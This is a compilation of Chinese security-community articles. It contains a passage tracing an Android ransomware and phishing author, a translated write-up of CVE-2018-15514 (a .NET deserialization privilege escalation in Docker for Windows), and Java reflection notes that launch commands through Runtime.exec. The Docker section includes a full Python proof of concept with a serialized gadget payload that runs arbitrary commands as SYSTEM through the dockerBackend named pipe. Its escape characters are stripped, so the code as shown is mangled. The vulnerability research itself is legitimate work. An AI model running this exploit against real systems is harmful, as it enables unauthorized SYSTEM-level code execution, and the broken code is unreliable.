通过浏览器打开短信中的链接显示一个名为“秒赞神器”软件。实际上,经过分析这个“秒赞神器”软件是一个典型的设置PIN码类型的勒索软件,软件运行后会在用户不知情的情况下强制设置手机解锁PIN码,造成用户无法进入手机桌面。
图1.5 木马下载页面
在“秒赞神器”申请激活设备管理器页面上,制马人留下了自己的QQ联系方式。
图1.6 木马申请设备管理器页面
同时,在木马签名信息中也发现了同样的QQ号码。
图1.7 木马签名信息
第二章制马人分析
一、制马人行为分析
我们通过恶意软件中制马人留下手机号和QQ信息,将其制作的恶意样本与我们捕获到的时间进行关联,回溯了制马人长达半年之久的制马活动。
图2.1 制马人半年的制马活动轨迹
从捕获时间看,包含制马人联系方式的恶意样本首次出现在2015年11月3日,软件名称为“system”。
图2.2 “system”恶意软件代码片段
15年11月3日到12月25日:制马人制马活动很少,偶尔制作几个名称为“system”、“卡钻”、“移动激活卡钻”等恶意软件。值得注意的是,新年前后期间正是广大网民抢红包的高峰期,在新年的前一周,12月24日制马人制作了一款名为“抢红包外挂”的恶意软件。从十一月到十二月期间制作的这些恶意软件都属于FakeTaobao木马家族。
16年1月1日:2016年新年伊始,制马人依然没有停下制马的脚步,元旦这天制马人开始尝试制作勒索软件测试Demo程序。
图2.3 勒索软件测试Demo程序
1月10日:制马人又开始转向制作钓鱼软件,制作了一个用于窃取QQ账号和密码的钓鱼软件测试Demo程序。
图2.4 钓鱼软件正在发送QQ账号密码信息
1月12日:制马人通过篡改正常软件,制作了一款全屏不响应触摸事件的形式的勒索软件。从这个样本可以看出制马人从测试阶段逐步开始制作正式的勒索软件。
图2.5 正常软件(图左)和被篡改后的软件(图右)对比
从制马人一月的活动可以看出,一月制马人开始活跃起来。不但制作了像“相册”、“移动积分”、“双倍抢红包(秒抢)”这类FakeTaobao木马家族恶意样本,还制作了钓鱼和勒索软件。
2月4日:与一月相比,二月制马人活动明显减少。制马人在2月4日制作的勒索软件中,加入了所谓的“免杀”手段,通过构造了异常的ZIP包结构,造成分析工具解压时报错,来对抗常见的分析工具分析。
图2.6 异常的ZIP包结构
2月5日到2月22日:制马人一直保持静默,没有制作任何恶意软件。这段时间恰逢中国农历腊月二十七到正月十五。
2月25日:制马人开始制作新型的勒索软件,新型勒索软件主要是将勒索软件以子包的形式隐藏在另一个软件中,后者安装运行后会通过一些文字提示诱导用户授予Root权限,同时将前者安装到手机系统软件目录中,这种锁机方式被制马人称为“Root锁”。
图2.7 执行拷贝到系统软件目录的shell命令
3月1日:从制马人活动频率看,三月是制马人近半年内制马最为活跃的月份。在3月1日,制马人制作了名为“QQ百宝箱”的恶意软件。
图2.8 QQ百宝箱安装图标
该恶意软件不仅会在用户不知情的情况下强制设置手机解锁PIN码,造成用户无法进入手机桌面。而且,还会诱导用户输入QQ账号和密码进行钓鱼。
图2.9 窃取QQ账号密码信息代码片段
另外,值得关注的是,我们发现“QQ百宝箱”恶意软件加入了遍历手机通讯录群发短信的功能,开始进行自我传播。“QQ百宝箱”恶意软件与我们最新捕获的恶意软件,除了短信内容没有进行加密处理外,从代码结构上看,前者与后者几乎完全一样,我们认为这应该是后者的早期版本。
图2.10 “QQ百宝箱”遍历通讯录群发短信代码片段
3月19日:从3月19日开始在连续一周多的时间里,制马人每天都在制作恶意软件,甚至出现了一天内制作多个恶意软件。
图2.11 制马人同一天制作的三个恶意软件
四月制马人活动频率有所下降,同时,我们发现在四月制马人制作的恶意软件全部是勒索软件。
我们通过回溯和分析制马人在近六个月里制马活动的频率和制马类型可以看出制马人行为有以下特点:
1.制马人在2015年年底并不活跃,而且制作方向单一,仅仅制作FakeTaobao木马家族恶意样本;
2.在2016年1月制马人尝试制作勒索和钓鱼软件,制作方向开始发生转变,制作了一批测试Demo程序;
3.在二月制马人开始增加恶意样本对抗分析手段并且加强了勒索软件恶意功能;
4.在三月制马人增加了恶意软件传播方式,开始群发短信进行裂变式传播。同时,制马人活动频率也到达高峰。
5.在四月制马人将已有代码进行加密保护,增加了不同类型恶意软件间的交叉式传播方式。
6.制马人前三个月与后三月的制马类型对比,制马人制马方向从FakeTaobao木马家族逐渐转向勒索软件,勒索软件受到了制马人的“青睐”。
二、制马人信息
我们通过查询恶意软件中制马人留下的QQ信息,这个QQ号码指向一个信息显示仅有15岁的少年。并且发现这个人是QQ群“AIDE – Android
lockphone”的群主,该群目前有超过200人。此人群名片显示“赞我十赞截图,送root锁”,所谓的Root锁,就是制马人在二月制作的利用Root的勒索软件恶意样本。
图2.12 QQ号码查询信息
另外,此人的QQ个性签名历史中曾经出现“flaw的人生”,“flaw”这个词出现在群发的短信链接中,根据这些信息,我们认为此人与制马人为同一人。
图2.13 制马人历史个性签名信息
第三章影响与趋势
一、关联样本
我们通过已知的信息,关联出其他有相似行为的勒索软件。这些勒索软件群发的短信链接,主要借助的是网盘和第三方网站进行传播。
图3.1 关联样本中的短信内容与链接归属
从链接传播的对象看,链接传播的恶意软件不仅是勒索软件自身,还发现了其他恶意木马家族,例如FakeTaobao木马家族。
图3.2勒索软件传播的FakeTaobao木马家族
二、收益情况
经过我们调查,制马人制马方向转变,制马多元化的原因,归根结蒂还是与钱有关。我们从一个制马人的聊天中得知,制马人主要制作“拦截马”即FakeTaobao木马家族,月收益相当可观在1.3万元左右,同时制马人也在制作勒索软件,每月能够多带来1500元收益。
图3.3制马人的聊天对话内容
制马人“青睐”勒索软件的原因,一方面勒索软件制作门槛低,制马方向的多元化会给制马人带来额外的一份收益;另一方面,与FakeTaobao木马家族洗劫用户资金财产相比,勒索软件每次勒索的数额并不大,相对制马人来说制马风险也较小。
三、裂变式传播
我们发现制马人擅长使用群发带有恶意下载的短信的方式进行恶意软件传播,受害人点击短信中的网址链接下载安装后,手机会被植入恶意软件,该软件会遍历受害人手机中的通讯录,并继续向获取到的通讯录名单发送同样的恶意链接短信,以此来获得裂变式的传播速度。这种传播方式利用熟人间的信任关系,加之文字诱导,传播感染成功率极强。
四、交叉式传播
制马人制马类型的多元化,也带来了移动平台传播的新趋势。制马人将不同类型的恶意软件进行交叉式传播,在给制马人带来不同收益来源外,同时,也给用户带来了更多的安全威胁。一旦用户中招,木马会形成攻击链条,用户损失会出现叠加,同时,对于手机防护软件也提出了更高的要求。
附录一:参考资料
[1] FakeTaobao家族变种演变
http://blogs.360.cn/360mobile/2014/09/16/analysis_of_faketaobao_family/
[2]Android Trojan Used To Create Simple SMS Spam Botnet
http://blog.cloudmark.com/2012/12/16/android-trojan-used-to-create-simple-sms-spam-botnet/
[3]XX神器
http://baike.so.com/doc/7486655-7756521.html | 社区文章 |
# Docker for Windows本地提权漏洞分析与利用
##### 译文声明
本文是翻译文章，文章来源：srcincite.io
原文地址：<https://srcincite.io/blog/2018/08/31/you-cant-contain-me-analyzing-and-exploiting-an-elevation-of-privilege-in-docker-for-windows.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
我一直在寻找常见应用程序中是否存在可以用来突破Windows系统的漏洞，今年3月份我发现了一个有趣的漏洞，值得与大家一起分享。虽然内核漏洞的发现过程非常吸引人，但许多Windows核心应用及第三方应用在逻辑层面存在一些根源性缺陷，最终可以被攻击者利用，无需绕过一些内存缓解机制就能获取SYSTEM权限。
在本文中我介绍了[CVE-2018-15514](https://srcincite.io/advisories/src-2018-0026)漏洞的发现及利用过程，这是Docker
for
Windows应用中存在的一个.net反序列化漏洞。Docker最初否认应用中存在这个漏洞，但随后在7月19日发布了修复补丁。进一步讨论后，他们最终在8月18日为该漏洞分配了一个编号：CVE-2018-15514。
## 二、简介
Docker for Windows为Windows 10及以上系统提供了64位安装包。我快速搭建了一个Windows 10
64位虚拟机用来测试。Docker的官网上有这样一段话：
> （Docker for Windows）是一个集成的、易于部署的开发环境，可以在Windows PC上构建、调试及测试Docker应用。Docker
> for Windows是一个原生的Windows应用，与Hyper-> V虚拟化网络及文件系统深度集成，因此是Windows上最快速、最可靠的Docker环境。
默认情况下，Docker for Windows会安装一个客户端及服务端应用。
## 三、发现漏洞
使用SysInternals的Process
Explorer来浏览当前正在运行的进程后，我发现了名为`com.docker.service`的一个进程。这个进程已经创建了几个命名管道（NamedPipe），分别为`dockerBackend`以及`dockerLogs`，使用.net语言开发：
图1. 查找命名管道
### 检查权限
一旦找到可能存在攻击面的命名管道后，重要的一步就是检查命名管道上已设置的权限，判断低权限用户是否可以访问这个管道。该接口中一旦存在任何漏洞，则意味着低权限的攻击者可以成功提升到SYSTEM级别。
为了检查相关权限，我使用了来自Beyond Logic的Craig Peacock所开发的[Pipe Secuirty
Viewer](http://retired.beyondlogic.org/solutions/pipesec/pipesec.htm)。虽然这个工具已有一些年头，但的确能够完成任务（欢迎大家积极献策，推荐其他可用的工具）。
简单运行工具后，我们可以获取到系统中当前正在运行的命名管道列表。指定我们需要的`\\NamedPipe\dockerBackend`管道后，可以看到哪些用户和组具备访问权限，并且每个对象具备什么权限。
图2. 可以访问命名管道的用户和组
其中我注意到一个用户是`docker-users`组，当安装Docker for
Windows时就会创建这个组。简而言之，这个组对应的是想访问容器（container）的账户。这看起来非常有趣，因此我决定检查这个组的权限。事实证明这些用户获取的权限非常宽泛。
图3. `docker-users`组对`dockerBackend`命名管道的权限
快速在Google上搜索后，我发现有人[建议](https://github.com/docker/for-win/issues/868#issuecomment-312639000)管理员把用户添加到这个组中，但Docker官方并没有对此给出具体的解释。
图4. 非官方文档建议管理员将用户添加到`docker-users`组中
### 寻找有效数据
此时我需要找到一些有效数据，将这些数据发送到我们刚发现的这个端点。此时我可以选择深入分析源代码，但实话实说，当时我猜测Docker for
Windows应该会通过这个命名管道进行一些复杂的解析操作。目前并没有太多工具可以用来嗅探命名管道的数据，我发现了[I/O
Ninja](http://ioninja.com/)这款工具，该工具包含一个模块，完全可以胜任这个任务。
图5. 利用I.O Ninja捕捉命名管道数据
我在工具中为`dockerBackend`设置了一个过滤器，然后继续运行客户端，导出的输出信息如上图所示。紫色圆圈标记出来的是缓冲区的大小，紧随其后的是一个.net序列化对象。
## 四、漏洞分析
此时我们可以深入分析经过反汇编处理的源代码，来证实我们之前的猜测。这里我使用的是[dnSpy](https://github.com/0xd4d/dnSpy)这款工具，利用该工具加载`C:\Program
Files\Docker\Docker\com.docker.service`这个二进制文件。快速检查后，我们发现存在漏洞的代码的确位于`Docker.Core.Pipe`命名空间的`Docker.core.dll`二进制文件中。
在这个命名空间中，我们可以看到有个`NamedPipeServer`类，该类执行的第一个方法为`Run`方法：
public void Run()
{
this._cts = new CancellationTokenSource();
CancellationToken token = this._cts.Token;
this._currentRunningTask = this.DoRunAsync(token);
}
`Run`方法会调用`DoRunAsync`方法。
private async Task DoRunAsync(CancellationToken token)
{
while (!token.IsCancellationRequested)
{
NamedPipeServer.<>c__DisplayClass10_0 <>c__DisplayClass10_ = new NamedPipeServer.<>c__DisplayClass10_0();
<>c__DisplayClass10_.<>4__this = this;
try
{
<>c__DisplayClass10_.pipeServer = PipeHelper.NewServerStream(this._pipeName, this._usersGroup.Sid);
}
catch (Exception e)
{
this._logger.Error(string.Format("Unable to create a pipe: {0} {1}", e.Message, e.StackTrace));
continue;
}
try
{
await <>c__DisplayClass10_.pipeServer.WaitForConnectionAsync(token);
}
catch (OperationCanceledException)
{
}
catch (Exception e2)
{
this._logger.Error(string.Format("Unable to connect: {0} {1}", e2.Message, e2.StackTrace));
continue;
}
Task.Run(() => <>c__DisplayClass10_.<>4__this.HandleRequestAsync(<>c__DisplayClass10_.pipeServer));
<>c__DisplayClass10_ = null;
}
}
然后`DoRunAsync`方法会调用`HandleRequestAsync`方法。
private async Task HandleRequestAsync(NamedPipeServerStream pipeServer)
{
try
{
using (NamedPipeServerStream server = pipeServer)
{
byte[] sizeBytes = new byte[4];
await server.ReadAsync(sizeBytes, 0, sizeBytes.Length);
int size = BitConverter.ToInt32(sizeBytes, 0);
byte[] requestBytes = new byte[size];
await server.ReadAsync(requestBytes, 0, requestBytes.Length);
BinaryFormatter bf = new BinaryFormatter();
PipeRequest request = (PipeRequest)bf.Deserialize(new MemoryStream(requestBytes, 0, requestBytes.Length, false));
最后，该方法会调用`BinaryFormatter`的`Deserialize`方法来处理不可信数据，最终导致以`SYSTEM`权限执行任意代码。
## 五、漏洞利用
现在开始进入有趣一点的环节。首先我需要创建一个测试用户`test`，并将其加入`docker-users`组。随后，我以该用户权限来运行命令提示符：
C:>net localgroup docker-users test /add
The command completed successfully.
C:>runas /user:test cmd
Enter the password for test:
Attempting to start cmd as user "targettest" ...
然后再使用[ysoserial.net](https://github.com/pwntester/ysoserial.net)工具，其中`BinaryFormatter`类作为formatter，并且用到了@tiraniddo的`TypeConfuseDelegate`
gadget链。
C:>ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o raw -c "[CMD]" > poc.bin
显然我们无法执行`[CMD]`命令，因此我修改了二进制载荷，使其能够接受我们传入的任意命令。现在要做的很简单，测试我们的PoC能否正常工作即可。
图6. 利用Docker for Windows获取SYSTEM权限
PoC源代码如下：
import sys
import struct
if len(sys.argv) != 2:
print "(+) usage %s <cmd>" % sys.argv[0]
print "(+) eg: %s "whoami > c:\si.txt"" % sys.argv[0]
sys.exit(-1)
cmd = "/c %s" % sys.argv[1]
payload = "x00x01x00x00x00xffxffxffxffx01x00x00x00x00x00x00x00x0cx02x00"
payload += "x00x00x49x53x79x73x74x65x6dx2cx20x56x65x72x73x69x6fx6ex3dx34"
payload += "x2ex30x2ex30x2ex30x2cx20x43x75x6cx74x75x72x65x3dx6ex65x75x74"
payload += "x72x61x6cx2cx20x50x75x62x6cx69x63x4bx65x79x54x6fx6bx65x6ex3d"
payload += "x62x37x37x61x35x63x35x36x31x39x33x34x65x30x38x39x05x01x00x00"
payload += "x00x84x01x53x79x73x74x65x6dx2ex43x6fx6cx6cx65x63x74x69x6fx6e"
payload += "x73x2ex47x65x6ex65x72x69x63x2ex53x6fx72x74x65x64x53x65x74x60"
payload += "x31x5bx5bx53x79x73x74x65x6dx2ex53x74x72x69x6ex67x2cx20x6dx73"
payload += "x63x6fx72x6cx69x62x2cx20x56x65x72x73x69x6fx6ex3dx34x2ex30x2e"
payload += "x30x2ex30x2cx20x43x75x6cx74x75x72x65x3dx6ex65x75x74x72x61x6c"
payload += "x2cx20x50x75x62x6cx69x63x4bx65x79x54x6fx6bx65x6ex3dx62x37x37"
payload += "x61x35x63x35x36x31x39x33x34x65x30x38x39x5dx5dx04x00x00x00x05"
payload += "x43x6fx75x6ex74x08x43x6fx6dx70x61x72x65x72x07x56x65x72x73x69"
payload += "x6fx6ex05x49x74x65x6dx73x00x03x00x06x08x8dx01x53x79x73x74x65"
payload += "x6dx2ex43x6fx6cx6cx65x63x74x69x6fx6ex73x2ex47x65x6ex65x72x69"
payload += "x63x2ex43x6fx6dx70x61x72x69x73x6fx6ex43x6fx6dx70x61x72x65x72"
payload += "x60x31x5bx5bx53x79x73x74x65x6dx2ex53x74x72x69x6ex67x2cx20x6d"
payload += "x73x63x6fx72x6cx69x62x2cx20x56x65x72x73x69x6fx6ex3dx34x2ex30"
payload += "x2ex30x2ex30x2cx20x43x75x6cx74x75x72x65x3dx6ex65x75x74x72x61"
payload += "x6cx2cx20x50x75x62x6cx69x63x4bx65x79x54x6fx6bx65x6ex3dx62x37"
payload += "x37x61x35x63x35x36x31x39x33x34x65x30x38x39x5dx5dx08x02x00x00"
payload += "x00x02x00x00x00x09x03x00x00x00x02x00x00x00x09x04x00x00x00x04"
payload += "x03x00x00x00x8dx01x53x79x73x74x65x6dx2ex43x6fx6cx6cx65x63x74"
payload += "x69x6fx6ex73x2ex47x65x6ex65x72x69x63x2ex43x6fx6dx70x61x72x69"
payload += "x73x6fx6ex43x6fx6dx70x61x72x65x72x60x31x5bx5bx53x79x73x74x65"
payload += "x6dx2ex53x74x72x69x6ex67x2cx20x6dx73x63x6fx72x6cx69x62x2cx20"
payload += "x56x65x72x73x69x6fx6ex3dx34x2ex30x2ex30x2ex30x2cx20x43x75x6c"
payload += "x74x75x72x65x3dx6ex65x75x74x72x61x6cx2cx20x50x75x62x6cx69x63"
payload += "x4bx65x79x54x6fx6bx65x6ex3dx62x37x37x61x35x63x35x36x31x39x33"
payload += "x34x65x30x38x39x5dx5dx01x00x00x00x0bx5fx63x6fx6dx70x61x72x69"
payload += "x73x6fx6ex03x22x53x79x73x74x65x6dx2ex44x65x6cx65x67x61x74x65"
payload += "x53x65x72x69x61x6cx69x7ax61x74x69x6fx6ex48x6fx6cx64x65x72x09"
payload += "x05x00x00x00x11x04x00x00x00x02x00x00x00x06x06x06x07x00x00x00"
payload += "x03x63x6dx64x04x05x00x00x00x22x53x79x73x74x65x6dx2ex44x65x6c"
payload += "x65x67x61x74x65x53x65x72x69x61x6cx69x7ax61x74x69x6fx6ex48x6f"
payload += "x6cx64x65x72x03x00x00x00x08x44x65x6cx65x67x61x74x65x07x6dx65"
payload += "x74x68x6fx64x30x07x6dx65x74x68x6fx64x31x03x03x03x30x53x79x73"
payload += "x74x65x6dx2ex44x65x6cx65x67x61x74x65x53x65x72x69x61x6cx69x7a"
payload += "x61x74x69x6fx6ex48x6fx6cx64x65x72x2bx44x65x6cx65x67x61x74x65"
payload += "x45x6ex74x72x79x2fx53x79x73x74x65x6dx2ex52x65x66x6cx65x63x74"
payload += "x69x6fx6ex2ex4dx65x6dx62x65x72x49x6ex66x6fx53x65x72x69x61x6c"
payload += "x69x7ax61x74x69x6fx6ex48x6fx6cx64x65x72x2fx53x79x73x74x65x6d"
payload += "x2ex52x65x66x6cx65x63x74x69x6fx6ex2ex4dx65x6dx62x65x72x49x6e"
payload += "x66x6fx53x65x72x69x61x6cx69x7ax61x74x69x6fx6ex48x6fx6cx64x65"
payload += "x72x09x08x00x00x00x09x09x00x00x00x09x0ax00x00x00x04x08x00x00"
payload += "x00x30x53x79x73x74x65x6dx2ex44x65x6cx65x67x61x74x65x53x65x72"
payload += "x69x61x6cx69x7ax61x74x69x6fx6ex48x6fx6cx64x65x72x2bx44x65x6c"
payload += "x65x67x61x74x65x45x6ex74x72x79x07x00x00x00x04x74x79x70x65x08"
payload += "x61x73x73x65x6dx62x6cx79x06x74x61x72x67x65x74x12x74x61x72x67"
payload += "x65x74x54x79x70x65x41x73x73x65x6dx62x6cx79x0ex74x61x72x67x65"
payload += "x74x54x79x70x65x4ex61x6dx65x0ax6dx65x74x68x6fx64x4ex61x6dx65"
payload += "x0dx64x65x6cx65x67x61x74x65x45x6ex74x72x79x01x01x02x01x01x01"
payload += "x03x30x53x79x73x74x65x6dx2ex44x65x6cx65x67x61x74x65x53x65x72"
payload += "x69x61x6cx69x7ax61x74x69x6fx6ex48x6fx6cx64x65x72x2bx44x65x6c"
payload += "x65x67x61x74x65x45x6ex74x72x79x06x0bx00x00x00xb0x02x53x79x73"
payload += "x74x65x6dx2ex46x75x6ex63x60x33x5bx5bx53x79x73x74x65x6dx2ex53"
payload += "x74x72x69x6ex67x2cx20x6dx73x63x6fx72x6cx69x62x2cx20x56x65x72"
payload += "x73x69x6fx6ex3dx34x2ex30x2ex30x2ex30x2cx20x43x75x6cx74x75x72"
payload += "x65x3dx6ex65x75x74x72x61x6cx2cx20x50x75x62x6cx69x63x4bx65x79"
payload += "x54x6fx6bx65x6ex3dx62x37x37x61x35x63x35x36x31x39x33x34x65x30"
payload += "x38x39x5dx2cx5bx53x79x73x74x65x6dx2ex53x74x72x69x6ex67x2cx20"
payload += "x6dx73x63x6fx72x6cx69x62x2cx20x56x65x72x73x69x6fx6ex3dx34x2e"
payload += "x30x2ex30x2ex30x2cx20x43x75x6cx74x75x72x65x3dx6ex65x75x74x72"
payload += "x61x6cx2cx20x50x75x62x6cx69x63x4bx65x79x54x6fx6bx65x6ex3dx62"
payload += "x37x37x61x35x63x35x36x31x39x33x34x65x30x38x39x5dx2cx5bx53x79"
payload += "x73x74x65x6dx2ex44x69x61x67x6ex6fx73x74x69x63x73x2ex50x72x6f"
payload += "x63x65x73x73x2cx20x53x79x73x74x65x6dx2cx20x56x65x72x73x69x6f"
payload += "x6ex3dx34x2ex30x2ex30x2ex30x2cx20x43x75x6cx74x75x72x65x3dx6e"
payload += "x65x75x74x72x61x6cx2cx20x50x75x62x6cx69x63x4bx65x79x54x6fx6b"
payload += "x65x6ex3dx62x37x37x61x35x63x35x36x31x39x33x34x65x30x38x39x5d"
payload += "x5dx06x0cx00x00x00x4bx6dx73x63x6fx72x6cx69x62x2cx20x56x65x72"
payload += "x73x69x6fx6ex3dx34x2ex30x2ex30x2ex30x2cx20x43x75x6cx74x75x72"
payload += "x65x3dx6ex65x75x74x72x61x6cx2cx20x50x75x62x6cx69x63x4bx65x79"
payload += "x54x6fx6bx65x6ex3dx62x37x37x61x35x63x35x36x31x39x33x34x65x30"
payload += "x38x39x0ax06x0dx00x00x00x49x53x79x73x74x65x6dx2cx20x56x65x72"
payload += "x73x69x6fx6ex3dx34x2ex30x2ex30x2ex30x2cx20x43x75x6cx74x75x72"
payload += "x65x3dx6ex65x75x74x72x61x6cx2cx20x50x75x62x6cx69x63x4bx65x79"
payload += "x54x6fx6bx65x6ex3dx62x37x37x61x35x63x35x36x31x39x33x34x65x30"
payload += "x38x39x06x0ex00x00x00x1ax53x79x73x74x65x6dx2ex44x69x61x67x6e"
payload += "x6fx73x74x69x63x73x2ex50x72x6fx63x65x73x73x06x0fx00x00x00x05"
payload += "x53x74x61x72x74x09x10x00x00x00x04x09x00x00x00x2fx53x79x73x74"
payload += "x65x6dx2ex52x65x66x6cx65x63x74x69x6fx6ex2ex4dx65x6dx62x65x72"
payload += "x49x6ex66x6fx53x65x72x69x61x6cx69x7ax61x74x69x6fx6ex48x6fx6c"
payload += "x64x65x72x07x00x00x00x04x4ex61x6dx65x0cx41x73x73x65x6dx62x6c"
payload += "x79x4ex61x6dx65x09x43x6cx61x73x73x4ex61x6dx65x09x53x69x67x6e"
payload += "x61x74x75x72x65x0ax53x69x67x6ex61x74x75x72x65x32x0ax4dx65x6d"
payload += "x62x65x72x54x79x70x65x10x47x65x6ex65x72x69x63x41x72x67x75x6d"
payload += "x65x6ex74x73x01x01x01x01x01x00x03x08x0dx53x79x73x74x65x6dx2e"
payload += "x54x79x70x65x5bx5dx09x0fx00x00x00x09x0dx00x00x00x09x0ex00x00"
payload += "x00x06x14x00x00x00x3ex53x79x73x74x65x6dx2ex44x69x61x67x6ex6f"
payload += "x73x74x69x63x73x2ex50x72x6fx63x65x73x73x20x53x74x61x72x74x28"
payload += "x53x79x73x74x65x6dx2ex53x74x72x69x6ex67x2cx20x53x79x73x74x65"
payload += "x6dx2ex53x74x72x69x6ex67x29x06x15x00x00x00x3ex53x79x73x74x65"
payload += "x6dx2ex44x69x61x67x6ex6fx73x74x69x63x73x2ex50x72x6fx63x65x73"
payload += "x73x20x53x74x61x72x74x28x53x79x73x74x65x6dx2ex53x74x72x69x6e"
payload += "x67x2cx20x53x79x73x74x65x6dx2ex53x74x72x69x6ex67x29x08x00x00"
payload += "x00x0ax01x0ax00x00x00x09x00x00x00x06x16x00x00x00x07x43x6fx6d"
payload += "x70x61x72x65x09x0cx00x00x00x06x18x00x00x00x0dx53x79x73x74x65"
payload += "x6dx2ex53x74x72x69x6ex67x06x19x00x00x00x2bx49x6ex74x33x32x20"
payload += "x43x6fx6dx70x61x72x65x28x53x79x73x74x65x6dx2ex53x74x72x69x6e"
payload += "x67x2cx20x53x79x73x74x65x6dx2ex53x74x72x69x6ex67x29x06x1ax00"
payload += "x00x00x32x53x79x73x74x65x6dx2ex49x6ex74x33x32x20x43x6fx6dx70"
payload += "x61x72x65x28x53x79x73x74x65x6dx2ex53x74x72x69x6ex67x2cx20x53"
payload += "x79x73x74x65x6dx2ex53x74x72x69x6ex67x29x08x00x00x00x0ax01x10"
payload += "x00x00x00x08x00x00x00x06x1bx00x00x00x71x53x79x73x74x65x6dx2e"
payload += "x43x6fx6dx70x61x72x69x73x6fx6ex60x31x5bx5bx53x79x73x74x65x6d"
payload += "x2ex53x74x72x69x6ex67x2cx20x6dx73x63x6fx72x6cx69x62x2cx20x56"
payload += "x65x72x73x69x6fx6ex3dx34x2ex30x2ex30x2ex30x2cx20x43x75x6cx74"
payload += "x75x72x65x3dx6ex65x75x74x72x61x6cx2cx20x50x75x62x6cx69x63x4b"
payload += "x65x79x54x6fx6bx65x6ex3dx62x37x37x61x35x63x35x36x31x39x33x34"
payload += "x65x30x38x39x5dx5dx09x0cx00x00x00x0ax09x0cx00x00x00x09x18x00"
payload += "x00x00x09x16x00x00x00x0ax0b"
# now we patch our payload
data = bytearray(payload)
# patch the size
data[655:655] = struct.pack(">I", len(cmd))
# patch the cmd
data[659:659] = cmd
# get the size to send
size = struct.pack("<I", len(data))
# get a handle to the NamedPipe
np = open(r'\.pipedockerBackend', 'w+b')
# exploit!
np.write(size)
np.write(data)
# clean up
np.close()
## 六、时间线
* 2018-03-06 – 发现漏洞却忘记进一步分析
* 2018-04-03 – 验证漏洞存在并将漏洞报告发送至[iDefense’s VCP](https://vcp.idefense.com/)
* 2018-04-04 – iDefense验证并接受该漏洞
* 2018-06-19 – Docker修复该漏洞（但没有反馈任何信息）
* 2018-07-18 – Docker分配漏洞编号CVE-2018-15514
* 2018-08-30 – 本文发布
大家可以访问[此处](https://docs.docker.com/docker-for-windows/edge-release-notes/#docker-community-edition-18060-ce-win69-2018-07-25)阅读Docker的安全公告，但该公告并没有太多建设性信息，然而他们的确为该漏洞申请了一个编号（CVE-2018-15514）。
图7. Docker for Windows的用户无法从公告中了解太多信息
## 七、总结
相对于常见的LPE漏洞来说，这个问题并没有那么大的影响力，这是因为用户首先必须是`docker-users`组的成员才能进行后续漏洞利用。然而正如文本提到的那样，这是一种非常常见的配置，并且缺乏官方文档，没有明确安全边界。
查找并利用这些漏洞并不困难。我认为.net反序列化漏洞会越来越普遍，因为研究人员发现许多第三方应用中普遍存在.net应用的身影。与Java类似，研究人员和攻击者已经可以使用一些工具来发现这些缺陷。我认为这些缺陷会广泛影响各种第三方Windows软件，企业领域中更不容小觑。
最后提一下，我本来以为与Docker交流应该是非常简单的事情，然而当iDefense第一次报告这个漏洞时，他们并不承认产品中存在这个漏洞，当他们最终发布安全补丁时，甚至决定不发布相应的安全公告、CVE编号或者相关说明。很难想象在2018年还会存在这种现象，更何况我们面对的是已被广泛使用的一种技术。
## 八、参考资料
* <https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf>
* <https://speakerdeck.com/pwntester/attacking-net-serialization>
* <https://hackinparis.com/data/slides/2017/2017_Cohen_Gil_The_forgotten_interface_Windows_named_pipes.pdf> | 社区文章 |
# java反射
首先，反射通常是通过class方法生成的class对象，所以可以使用比如runtime下没有而class下有的方法。比如序列化，runtime是生成对象是无法序列化的，但是class可以。所以一般都要通过class进行反序列化
## getMethod利用实例化对象方法实例化对象
* 方法.invoke(对象，参数)调用该对象下的方法
Runtime下的构造函数是私有的，只能通过Runtime.getRuntime()来获取Runtime对象。
* getMethod通过反射获取一个类的公有方法（因为重载的存在不能直接确定函数）。而invoke和getMethod的区别就是invoke会执行函数。
Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec", String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime, "calc.exe");
所以上述代码就是，用forName获取Runtime类并命名为clazz，用getMethod获取clazz类里的exec方法(因为exec有6个重载的原因要加string.class参数)并命名为execMethod，用getMethod获取getRuntime方法并命名为getRuntimeMethod，用getRuntimeMethod方法获取Runtime的对象，invoke执行clazz类下的getRuntimeMethod方法（也就是生成对象）并命名为runtime。最好invoke执行runtime对象的exec方法，并传入参数calc.exe。也就是打开计算器。
## getConstructor利用构造函数实例化对象
该方法实例化需要构造函数公有
* newInstance实例化类对象
* getConstructor获取 **具有指定参数类型的指定类构造函数** 。
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));
forName获取ProcessBuilder类，用getMethod获取start方法。
但是ProcessBuilder的构造函数参数有`List<string>`或者`string...`。
`...`表示不确定参数个数，在底层为一个数组，所以可以直接传数组参数
* 如果要获取`List<string>`参数的构造函数，可以用List强制类型转化后传参
invoke调用getConstructor获取构造函数，然后用newInstance实例化类对象时就会调用构造函数。newInstance的参数calc.exe会作为参数传递给构造函数，然后start共享参数执行命令。即`clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))`是向构造函数传calc.exe参实例化对象
* 如果要执行`string...`格式的构造函数，就是要传`String[].class`
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}}));
因为newInstance也是接收变长参数，getConstructor也是接收变长参数，所以要传二维数组
那构造函数私有呢？
## getDeclaredMethod或getDeclaredConstruct获取私有构造函数实例化对象
上面两种方法由于`getMethod`和`getConstruct`是获取类的所有 **公共**
方法，包括继承。所以不能获取到私有和保护方法。但是`getDeclaredMethod`和`getDeclaredConstruct`是获取声明（写）在类的方法，就能
**获取到私有和保护方法** ，但是不能获取继承方法
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe")
必须写setAccessible修改作用域。因为Runtime有无参构造函数的原因，getDeclaredConstructor可以不加参数。不像ProcessBuilder有两个构造函数而且都有参数
# JAVA RMI
RMI为远程方法调用.过程有三方参与，分别为Registry,Server,Client。如果学过可信计算，可以把Registry理解为可信第三方
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/Hello", new RemoteHelloWorld());
